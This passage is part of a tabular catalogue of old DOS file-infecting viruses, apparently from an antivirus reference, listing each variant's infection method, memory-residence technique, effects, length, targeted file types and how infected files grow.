¦Beer.3399 ¦INT ¦MCB ¦ HVS¦3399 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦Beer.3490 (2)¦INT ¦MCB ¦ HVS¦3490 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦.Kalinka.2920 ¦INFI¦MCB ¦ HVS¦2920 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦.Kalinka.3225 ¦INFI¦MCB ¦ HVS¦3225 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦.Kalinka.3434 ¦INFI¦MCB ¦ HVS¦3434 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦.Kalinka.3612 ¦INFI¦MCB ¦ HVS¦3612 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+259+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Before.1196 ¦INT ¦MCB ¦ Ch ¦1196 ¦ CEO * ¦ s ¦ L ¦
¦Before.2915 ¦INT ¦MCB ¦ Ch ¦2915 ¦ CEO * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BG.1348 ¦INT ¦MCB ¦ V ¦1348 ¦ E * ¦ e ¦ L+p ¦
¦BG.2135 ¦INFI¦MCB ¦ V ¦2135 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦BG.3084 ¦INT ¦MCB ¦ HV ¦3084 ¦ E * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BGU.1295 ¦INT ¦MCB ¦VSEr¦1295 ¦ .C.E&CE* ¦ e ¦ L ¦
¦BGU.1298 ¦INT ¦MCB ¦VSEr¦1298 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BigMouse.900 ¦INT ¦MCB ¦ V ¦900 ¦ E * ¦ e ¦ L ¦
¦BigMouse.998 ¦INT ¦MCB ¦ H ¦998 ¦ E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Bishkek.319 ¦FIND¦ - ¦ HV ¦319 ¦ .C * ¦ s ¦ L ¦
¦Bishkek.559 ¦FIND¦ - ¦ - ¦559 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BitAddict.979 ¦INT ¦BUFF¦ - ¦979 ¦ CE * ¦ e ¦ L+p ¦
¦BitAddict.1190 ¦INT ¦BUFF¦ - ¦1190 ¦ CE * ¦ e ¦ L+p ¦
¦BitAddict.1459 ¦INT ¦BUFF¦ H ¦1459 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦BitAddict.1601 ¦INT ¦BUFF¦ H ¦1601 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Bishop.2855 ¦FIND¦ - ¦ HV ¦2855 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦Bishop.4517 ¦FIND¦ - ¦ HV ¦4517 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BlackJec.231 ¦FIND¦ - ¦ - ¦231 ¦ .C * ¦ s ¦ L ¦
¦BlackJec.232 ¦FIND¦ - ¦ - ¦232 ¦ .C * ¦ s ¦ L ¦
¦BlackJec.235 ¦FIND¦ - ¦ - ¦235 ¦ .C * ¦ s ¦ L ¦
¦BlackJec.236 ¦FIND¦ - ¦ - ¦236 ¦ .C * ¦ s ¦ L ¦
¦BlackJec.247 ¦FIND¦ - ¦ - ¦247 ¦ .C * ¦ s ¦ L ¦
¦BlackJec.252 ¦FIND¦ - ¦ - ¦252 ¦ .C * ¦ s ¦ L ¦
¦BlackJec.267 ¦FIND¦ - ¦ - ¦267 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.272 ¦FIND¦ - ¦ - ¦272 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.276 ¦FIND¦ - ¦ - ¦276 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.281 ¦FIND¦ - ¦ - ¦281 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.287 ¦FIND¦ - ¦ - ¦287 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.292 ¦FIND¦ - ¦ - ¦292 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.301 ¦FIND¦ - ¦ - ¦301 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.307 ¦FIND¦ - ¦ - ¦307 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.358 ¦FIND¦ - ¦ - ¦358 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.363 ¦FIND¦ - ¦ - ¦363 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.369 ¦FIND¦ - ¦ - ¦369 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.374 ¦FIND¦ - ¦ - ¦374 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.378 ¦FIND¦ - ¦ - ¦378 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.427 ¦FIND¦ - ¦ - ¦427 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.440 ¦FIND¦ - ¦ - ¦440 ¦ .C&C * ¦ s ¦ L ¦
¦BlackJec.441 ¦FIND¦ - ¦ - ¦441 ¦ .C&C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Blah.3379 ¦INT ¦MCB ¦ - ¦3379 ¦ .B+boot * ¦ s ¦ L ¦
¦Blah.3385 ¦INT ¦MCB ¦ Er ¦3385 ¦ .B+boot * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BootCom.Light ¦INT ¦MCB ¦ - ¦512 ¦ C+boot * ¦ e ¦ L ¦
¦.Max ¦INT ¦MCB ¦ - ¦437 ¦ C+boot * ¦ e ¦ L ¦
¦.Peanut.445 ¦INT ¦MCB ¦ H ¦445 ¦ C+boot * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BootExe.174 ¦INT ¦INTB¦ H ¦174 ¦ CE+boot * ¦ s ¦ 0, overwrite ¦
¦BootExe.331 ¦INT ¦MCB ¦ - ¦331 ¦ E+boot ¦ i ¦ 0, inserting ¦
¦BootExe.443 ¦INT ¦MCB ¦ H ¦443 ¦ E+boot * ¦ i ¦ 0, inserting ¦
¦BootExe.444 ¦INT ¦MCB ¦ - ¦444 ¦ E+boot * ¦ i ¦ 0, inserting ¦
¦BootExe.451 (2)¦INT ¦MCB ¦ H ¦451 ¦ E+boot * ¦ i ¦ 0, inserting ¦
¦BootExe.452 ¦INT ¦MCB ¦ H ¦452 ¦ E+boot * ¦ i ¦ 0, inserting ¦
¦.Andryushka ¦INT ¦MCB ¦ H ¦464 ¦ E+boot * ¦ i ¦ 0, inserting ¦
¦.Dogcher ¦INT ¦INTB¦ H ¦512 ¦ E+boot * ¦ i ¦ 0, overwrite ¦
¦.Nutcracker ¦INT ¦MCB ¦ H ¦466 ¦ E+boot * ¦ i ¦ 0, overwrite ¦
¦.Olga ¦INT ¦MCB ¦ H ¦483 ¦ E+boot * ¦ i ¦ 0, inserting ¦
¦.Platov ¦INT ¦ADDR¦ H ¦403 ¦ E+boot * ¦ i ¦ 0, inserting ¦
¦.Stalker.310 ¦INT ¦MCB ¦ - ¦310 ¦ E+boot * ¦ i ¦ 0, inserting ¦
¦.Stalker.320 ¦INT ¦MCB ¦ - ¦320 ¦ E+boot * ¦ i ¦ 0, inserting ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦BrPI.511 ¦INT ¦MCB ¦ Er ¦511 ¦ CE * ¦ e ¦ L ¦
¦BrPI.555 ¦INT ¦MCB ¦ VEr¦555 ¦ CE * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Bupt.1220 ¦INFI¦MCB ¦ V ¦1220 ¦ .C.E&CE ¦ e ¦ C-L, E-L+p ¦
¦Bupt.1363 ¦INT ¦KEEP¦ V ¦1363 ¦ .C.E * ¦CsEe ¦ C-L+4, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Burger.382 ¦FIND¦ - ¦ H ¦382 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦Burger.560 ¦FIND¦ - ¦ H ¦560 ¦ .C * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Burma.442 (2)¦FIND¦ - ¦ HV ¦442 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦Burma.666 ¦FIND¦ - ¦ HV ¦666 ¦ .C.E * ¦ s ¦ 0, overwrite ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Bace.338 ¦INT ¦MCB ¦ - ¦338 ¦ E ¦ e ¦ L ¦
¦Backfont.765 ¦INT ¦MCB ¦ H ¦765 ¦ E ¦ e ¦ L ¦
¦Badless.494 ¦FIND¦ - ¦ HV ¦494 ¦ C * ¦ e ¦ L ¦
¦Balashiha.271 ¦INT ¦INTB¦ Ch ¦271 ¦ C * ¦ e ¦ L ¦
¦Bambr.431 ¦FIND¦ - ¦ - ¦431 ¦ .C * ¦ e ¦ L ¦
¦Bashar.670 ¦INT ¦MCB ¦ - ¦670 ¦ C ¦ e ¦ L ¦
¦Basilisk.1639 ¦INT ¦MCB ¦ VCh¦1639 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦Bastard.1979 ¦INT ¦MCB ¦ HV ¦1979 ¦ E * ¦ e ¦ E-L+p,COMMAND-200¦
¦Bauman.2203 ¦FIND¦ * ¦ H ¦2203 ¦ .C.E&CE* ¦CeEi ¦ C-L, E-L+6 ¦
¦Bazil.1956 ¦FIND¦ - ¦ V ¦1956 ¦ .C * ¦ e ¦ L ¦
¦Beep.2000 ¦INT ¦KEEP¦ M ¦2000 ¦ CE ¦ e ¦ L ¦
¦BerlinHQ.434 ¦FIND¦ - ¦ V ¦434 ¦ .C&C * ¦ s ¦ L ¦
¦Beside.200 ¦INT ¦KEEP¦ HV ¦200 ¦ CEO * ¦ s ¦ 0, overwrite ¦
¦Billboard.835 ¦FIND¦ - ¦ V ¦835 ¦ .C * ¦ s ¦ L ¦
¦Bingger.489 ¦FIND¦ - ¦ H ¦489 ¦ .C * ¦ e ¦ L+257+(0..255) ¦
¦Birthday.512 ¦FIND¦ - ¦ H ¦512 ¦ .C * ¦ e ¦ L+p ¦
¦Bitch.252 (2)¦INT ¦DOSD¦ - ¦252 ¦ .C * ¦ e ¦ L ¦
¦Bizarre.2716 ¦INT ¦MCB ¦ - ¦2716 ¦ C ¦ s ¦ L ¦
¦Bjk.2814 ¦INT ¦MCB ¦ HV ¦2814 ¦ .C.E&CE ¦ e ¦ C-L, E-L+p ¦
¦BlackSun.2372 ¦INT ¦MCB ¦ V ¦2372 ¦ .C.E&CE* ¦ e ¦ L ¦
¦BlackMonday.1055INT ¦KEEP¦ H ¦1055 ¦ .C.E * ¦ e ¦ C-L, E-L+p ¦
¦Blava.787 ¦INT ¦MCB ¦ - ¦787 ¦ C * ¦ e ¦ L ¦
¦Blin.1457 ¦INT ¦MCB ¦ - ¦1457 ¦ E ¦ e ¦ L+? ¦
¦Blind.549 ¦FIND¦ - ¦ Er ¦549 ¦ .C * ¦ e ¦ L ¦
¦Blink.501 ¦INT ¦MCB ¦ V ¦501 ¦ C * ¦ e ¦ L ¦
¦BlueRiver.1180 ¦INT ¦MCB ¦ - ¦1180 ¦ CE ¦ e ¦ L ¦
¦Bobby.613 ¦FIND¦ - ¦ V ¦613 ¦ .C * ¦ e ¦ L ¦
¦Bomzh.3809 ¦INT ¦KEEP¦ Ch ¦3809 ¦ .E&E * ¦ e ¦ L+p ¦
¦Bowl.737 ¦FIND¦ - ¦ - ¦737 ¦ .C&C * ¦ e ¦ L ¦
¦Breaking.1000(2)FIND¦ - ¦ V ¦1000 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Brownie.688 ¦INT ¦MCB ¦ VS ¦688 ¦ .C&C * ¦ s,i ¦ L ¦
¦Bubble.656 ¦INT ¦MCB ¦ - ¦656 ¦ CEO * ¦ e ¦ L ¦
¦Bug.920 ¦FIND¦ - ¦ HV ¦920 ¦ .C.E * ¦CeEs ¦ C-L,E-73, compan.¦
¦Bandersnatch ¦INT ¦MCB ¦ - ¦3934 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Btg.792 ¦INT ¦MCB ¦ VCh¦792 ¦ .C&C * ¦ s ¦ L ¦
¦Buendia.816 ¦FIND¦ - ¦ VEr¦816 ¦ .E ¦ e ¦ L+p ¦
¦Burglar.1150 ¦INT ¦MCB ¦ V ¦1150 ¦ .E&E* ¦ e ¦ L ¦
¦Burn.285 ¦FIND¦ - ¦ H ¦285 ¦ .C ¦ s ¦ 0, overwrite ¦
¦BW.Roet.1899 ¦INT ¦MCB ¦ HV ¦1899 ¦ CE * ¦ e ¦ L ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part C
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Cannibal.1261 ¦INT ¦MCB ¦ V ¦1261 ¦ .C.E * ¦ e ¦ L+p ¦
¦Cannibal.1312 ¦INT ¦MCB ¦ V ¦1312 ¦ .C.E * ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Cascade.1621 ¦INT ¦MCB ¦ V ¦1621 ¦ C * ¦ e ¦ L ¦
¦Cascade.1661(2)¦INT ¦MCB ¦ V ¦1661 ¦ C * ¦ e ¦ L ¦
¦Cascade.1701(2)¦INT ¦MCB ¦ V ¦1701 ¦ C * ¦ e ¦ L ¦
¦Cascade.1704 ¦INT ¦MCB ¦ V ¦1704 ¦ C * ¦ e ¦ L ¦
¦Cascade.1706 ¦INT ¦MCB ¦ V ¦1704 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Cat.2770 ¦INT ¦MCB ¦ HV ¦2770 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Cat.2898 ¦INT ¦MCB ¦ HV ¦2898 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Caterpillar(11)¦INT ¦MCB ¦ V ¦1575 ¦ .C.E&CE* ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Cavaco.1371 ¦INT ¦MCB ¦ V ¦1371 ¦ CE ¦ e ¦ L ¦
¦Cavaco.1470 ¦INT ¦MCB ¦ V ¦1470 ¦ CE ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦CeCe.1703 ¦INT ¦MCB ¦ V ¦1703 ¦ .C.E&CE* ¦ e ¦ L ¦
¦CeCe.1994 ¦INT ¦MCB ¦ VEr¦1994 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦CeCe.1998 ¦INT ¦MCB ¦ VEr¦1998 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Chaos.1181 ¦INT ¦KEEP¦ HV ¦1181 ¦ .C.E * ¦ e ¦ C-L, E-L+p ¦
¦Chaos.1241 ¦INT ¦KEEP¦ HV ¦1241 ¦ .C.E * ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦CheckSum.1232 ¦INT ¦MCB ¦ - ¦1232 ¦ CO * ¦ e ¦ L ¦
¦CheckSum.1233 ¦INT ¦MCB ¦ - ¦1233 ¦ CO * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Chukcha.554 ¦FIND¦ - ¦ V ¦554 ¦ .C&C * ¦ s ¦ L ¦
¦Chukcha.838 ¦FIND¦ - ¦ V ¦838 ¦ .C&C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦CivilDefence.10¦INT ¦MCB ¦HVCh¦6672 ¦ E+boot* ¦ e ¦ L ¦
¦CivilDefence.11¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L ¦
¦CivilDefence.33¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L ¦
¦CivilDefence.38¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L ¦
¦CivilDefence.39¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L ¦
¦CivilDefence.3A¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L ¦
¦CivilDefence.3B¦INT ¦MCB ¦ HV ¦6672 ¦ E+boot* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Click.291 ¦FIND¦ - ¦ M ¦291 ¦ .C&C ¦ e ¦ L ¦
¦Click.329 ¦INT ¦MCB ¦ S ¦329 ¦ C * ¦ s ¦ L ¦
¦Click.375 ¦INT ¦MCB ¦ S ¦375 ¦ C * ¦ s ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦CLME.Ming.1528 ¦FIND¦ - ¦ V ¦1528 ¦ .E * ¦ e ¦ L+? ¦
¦.Ming.1952 ¦INT ¦KEEP¦ HV ¦1952 ¦ .E * ¦ e ¦ L+? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦CloneWar.228 ¦FIND¦ - ¦ - ¦228 ¦ .E ¦ s ¦ L, companion ¦
¦CloneWar.246 ¦FIND¦ - ¦ - ¦246 ¦ .E ¦ s ¦ L, companion ¦
¦CloneWar.261 ¦FIND¦ - ¦ - ¦261 ¦ .E * ¦ s ¦ L, companion ¦
¦CloneWar.546 ¦FIND¦ - ¦ - ¦546 ¦ .E * ¦ s ¦ L, companion ¦
¦CloneWar.923(2)¦FIND¦ - ¦ S ¦923 ¦ .E * ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦CMOSDead.3618 ¦INT ¦KEEP¦ HV ¦3618 ¦ .C.E&CE* ¦ e ¦ L ¦
¦CMOSDead.3622 ¦INT ¦KEEP¦ HV ¦3622 ¦ .C.E&CE* ¦ e ¦ L ¦
¦CMOSDead.3710 ¦INT ¦KEEP¦ HV ¦3710 ¦ .C.E&CE* ¦ e ¦ L ¦
¦CMOSDead.5154 ¦INT ¦MCB ¦ HV ¦5154 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Cock.451 ¦FIND¦ - ¦ - ¦451 ¦ .C&C ¦ e ¦ L ¦
¦Cock.512 ¦INT ¦ - ¦ V ¦512 ¦ .C&C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Coconut.1940 ¦FIND¦ - ¦ V ¦1940 ¦ .C ¦ e ¦ L ¦
¦Coconut.2015 ¦FIND¦ - ¦ V ¦2015 ¦ .C ¦ e ¦ L ¦
¦Coconut.2071 ¦FIND¦ - ¦ V ¦2071 ¦ .C ¦ e ¦ L ¦
¦Coconut.2099 ¦FIND¦ - ¦ V ¦2099 ¦ .C ¦ e ¦ L ¦
¦Coconut.2324 ¦FIND¦ - ¦ V ¦2324 ¦ .C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Commando.421 ¦INT ¦MCB ¦ V ¦421 ¦ .C * ¦ e ¦ L ¦
¦Commando.498 ¦INT ¦MCB ¦ V ¦498 ¦ .C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Companion.101(2¦INT ¦KEEP¦ H ¦101 ¦ CE ¦ s ¦ L, companion ¦
¦.Caro ¦INT ¦KEEP¦ H ¦296 ¦ .E ¦ s ¦ L, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Cornucopia (?)¦FIND¦ - ¦ V ¦6893 ¦ .C.E ¦ s ¦ L+?, companion ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦CorpLife.1929 ¦INT ¦MCB ¦ S ¦1929 ¦ .E&E * ¦ e ¦ L ¦
¦CorpLife.1937 ¦INT ¦MCB ¦ S ¦1937 ¦ .E&E * ¦ e ¦ L ¦
¦CorpLife.1943 ¦INT ¦MCB ¦ S ¦1943 ¦ .E&E * ¦ e ¦ L ¦
¦CorpLife.1947 ¦INT ¦MCB ¦ S ¦1947 ¦ .E&E * ¦ e ¦ L ¦
¦CorpLife.1957 ¦INT ¦MCB ¦ S ¦1957 ¦ .E&E * ¦ e ¦ L ¦
¦CorpLife.1961 ¦INT ¦MCB ¦ S ¦1961 ¦ .E&E * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Couf.239 ¦INT ¦MCB ¦ - ¦239 ¦ .C ¦ e ¦ L ¦
¦Couf.254 (2)¦INT ¦MCB ¦ - ¦254 ¦ .C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Countdown.1300 ¦INT ¦MCB ¦ - ¦1300 ¦ C ¦ e ¦ L ¦
¦Countdown.1363 ¦INT ¦MCB ¦ - ¦1363 ¦ C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Cpw.1459 ¦INT ¦MCB ¦HVCh¦1459 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Cpw.1527 ¦INT ¦MCB ¦ H ¦1527 ¦ .C.E&CE* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Crazy.1402 ¦INT ¦MCB ¦ - ¦1402 ¦ C * ¦ s ¦ L ¦
¦Crazy.1445 ¦INT ¦MCB ¦ - ¦1445 ¦ C * ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦CriCri.4300 ¦INT ¦MCB ¦ VEr¦4300 ¦ CE+boot* ¦ e ¦ L ¦
¦CriCri.4616 ¦INT ¦MCB ¦ VEr¦4616 ¦ CE+boot* ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Crucifix.2914 ¦INT ¦MCB ¦ - ¦2914 ¦ .C ¦ e ¦ L ¦
¦Crucifix.2916 ¦INT ¦MCB ¦ - ¦2916 ¦ .C ¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Cruncher.2092 ¦INT ¦MCB ¦ - ¦2092 ¦ C * ¦ e ¦ ? ¦
¦Cruncher.4000 ¦INT ¦MCB ¦ V ¦4000 ¦ CE * ¦ e ¦ ? ¦
¦Cruncher.4800 ¦INT ¦MCB ¦ V ¦4800 ¦ CE * ¦ e ¦ ? ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Capital.927 ¦INT ¦MCB ¦ V ¦927 ¦ C ¦ e ¦ L ¦
¦Carbuncle ¦FIND¦ - ¦ H ¦622 ¦ .E * ¦ s ¦ L, companion ¦
¦Cartier.1056 ¦FIND¦ - ¦ HVS¦1056 ¦ .C * ¦ e ¦ L ¦
¦Casino.2330 ¦INFI¦KEEP¦ HV ¦2330 ¦ .C * ¦ e ¦ L+p,COMMAND.COM-0¦
¦Catholic.1129 ¦INT ¦MCB ¦ V ¦1129 ¦ C * ¦ e ¦ L ¦
¦Ccc.381 ¦INT ¦MCB ¦ Er ¦381 ¦ E * ¦ e ¦ L+p ¦
¦CCCP.510 ¦FIND¦ - ¦ V ¦510 ¦ C ¦ e ¦ C ¦
¦CDJoke.848 ¦INT ¦MCB ¦ Ch ¦848 ¦ C * ¦ s ¦ L ¦
¦Cease.382 ¦INT ¦MCB ¦ - ¦382 ¦ C * ¦ e ¦ L+p ¦
¦Cha-Cha.2391 ¦INT ¦MCB ¦ - ¦2391 ¦ .C.E&CE ¦ e ¦ L ¦
¦Chang.1759 ¦INT ¦MCB ¦ H ¦1759 ¦ CE ¦ e ¦ L+p ¦
¦Change.633 ¦FIND¦ - ¦ V ¦633 ¦ C ¦ e ¦ L ¦
¦Changsha.3072 ¦INT ¦KEEP¦ HV ¦3072 ¦ .C.E+boot¦ e ¦ C-L, E-L+p ¦
¦Check.282 ¦INT ¦INTB¦ - ¦282 ¦ .C * ¦ e ¦ L ¦
¦Checkbox.936 ¦INT ¦MCB ¦ Ch ¦936 ¦ E * ¦ e ¦ L ¦
¦Cherry.2266 ¦INT ¦MCB ¦ V ¦2266 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Cholera.1497 ¦INT ¦MCB ¦ - ¦1497 ¦ .C.E* ¦ e ¦ C-L, E-L+551+p ¦
¦ChinBomb.1492 ¦INT ¦MCB ¦ HV ¦1492 ¦COMMAND.COM¦ e* ¦ L ¦
¦CityFire.1679 ¦INFI¦ADDR¦ V ¦1679 ¦ .C&C* ¦ s ¦ L ¦
¦Claudia.8772 ¦INT ¦MCB ¦ V ¦8772 ¦ E * ¦ e ¦ L ¦
¦Cli.1313 ¦INT ¦MCB ¦ H ¦1313 ¦ .C * ¦ e ¦ L ¦
¦Cli&Hlt.1345 ¦INT ¦MCB ¦ V ¦1345 ¦ CE * ¦ e ¦ L ¦
¦Clone.833 ¦INT ¦KEEP¦ V ¦833 ¦ .E ¦ s ¦ L, companion ¦
¦Close.960 ¦INT ¦MCB ¦ HV ¦960 ¦ E ¦ e ¦ L ¦
¦CMOSDense.807 ¦INT ¦MCB ¦ChEr¦807 ¦ CE * ¦ e ¦ L ¦
¦CNTV.2630 ¦INT ¦BUFF¦ VEr¦2630 ¦ .C.E&CE* ¦ i,e ¦ L ¦
¦Cobra.400 ¦FIND¦ - ¦ - ¦400 ¦ .C ¦ s ¦ L ¦
¦CodeDa.1289 ¦INFI¦MCB ¦ Ch ¦1289 ¦ .C.E&CE* ¦ e ¦ C-L, E-L+4 ¦
¦CoffeeShop.1568¦INT ¦MCB ¦ V ¦1568 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Coito.644 ¦INT ¦MCB ¦ Er ¦644 ¦ CE * ¦ e ¦ L ¦
¦Collor.878 ¦FIND¦ - ¦ HV ¦878 ¦ .C * ¦ e ¦ L ¦
¦ComeOut.3624 ¦INFI¦VIDE¦ - ¦3624 ¦ .E&E ¦ e ¦ L+p ¦
¦CommanderBomber¦INT ¦KEEP¦ - ¦4096 ¦ C * ¦ i ¦ L ¦
¦Cool.929 ¦INT ¦MCB ¦ V ¦929 ¦ E * ¦ e ¦ L+p ¦
¦Cordobes.3334 ¦INT ¦KEEP¦ Ch ¦3334 ¦ .E&E* ¦ e ¦ L+p ¦
¦Cossiga.859 (2)¦FIND¦ - ¦ HV ¦859 ¦ .E * ¦ e ¦ L+p ¦
¦Cpsu.680 ¦INT ¦MCB ¦ V ¦680 ¦ C * ¦ e ¦ L ¦
¦Cracky.546 ¦INFI¦DOSD¦ V ¦546 ¦ .C * ¦ e ¦ L ¦
¦Crepate.2910 ¦INT ¦MCB ¦ H ¦2910 ¦.C.E&CE+boot e *¦ L ¦
¦Criminal.2615 ¦INFI¦MCB ¦ HV ¦2615 ¦ .C ¦ e ¦ L ¦
¦Critico.969 ¦INT ¦MCB ¦ MV ¦969 ¦ CE ¦ i ¦ 0, insert ¦
¦Crusher ¦INT ¦MCB ¦ V ¦2048 ¦ .E+boot* ¦ s ¦ L ¦
¦Csf.240 ¦INT ¦INTB¦ - ¦240 ¦ C ¦ s ¦ L ¦
¦Cuareim.800 (2)¦FIND¦ - ¦ V ¦800 ¦ .C * ¦ e ¦ L ¦
¦Cunning.1997 ¦INT ¦MCB ¦ - ¦1997 ¦ .C * ¦ e ¦ L, COMMAND.COM-0 ¦
¦Cvka.1024 ¦INT ¦MCB ¦ErCh¦1024 ¦ .C.E&CE* ¦ e ¦ L ¦
¦Cyanide.705 ¦FIND¦ - ¦ V ¦705 ¦ .C * ¦ e ¦ L ¦
¦Cybercide.2299 ¦INT ¦MCB ¦ HVS¦2299 ¦ .C * ¦ e ¦ L ¦
¦Cysta.8045 ¦INT ¦MCB ¦ S ¦8045 ¦ .C.E.S ¦ e ¦ L+p ¦
L===============¦====¦====¦====¦=====¦===========¦=====¦==================-
File infectors, part D
г===============T====T====T====T=====T===========T=====T==================¬
¦ Name ¦Inf.¦TSR ¦Eff ¦ Len ¦ Infected ¦Inf. ¦File's len growing¦
¦ ¦way ¦ ¦ects¦( L )¦ files ¦place¦ ¦
¦===============+====+====+====+=====+===========+=====+==================¦
¦Dac.1582 ¦INT ¦MCB ¦ VEr¦1582 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦Dac.1600 ¦INT ¦MCB ¦ VEr¦1600 ¦ CE * ¦ e ¦ C-L, E-L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Dada.786 ¦INT ¦MCB ¦ - ¦786 ¦ E ¦ e ¦ L ¦
¦Dada.1356 ¦INT ¦MCB ¦ V ¦1356 ¦ E ¦ e ¦ L+p ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦Daemaen.1894 ¦INT ¦MCB ¦ Er ¦1894 ¦ CESO+boot*¦ e ¦ L ¦
¦Daemaen.2048 ¦INT ¦MCB ¦ Er ¦2048 ¦ CESO+boot*¦ e ¦ L ¦
¦---------------+----+----+----+-----+-----------+-----+------------------¦
¦DAME.Lame ¦FIND¦ - ¦ - ¦2326 ¦ .C * ¦ e ¦ L+? ¦
¦.Trigger ¦INT ¦MCB ¦ - ¦2465 ¦ CE * ¦ e ¦ L+? ¦
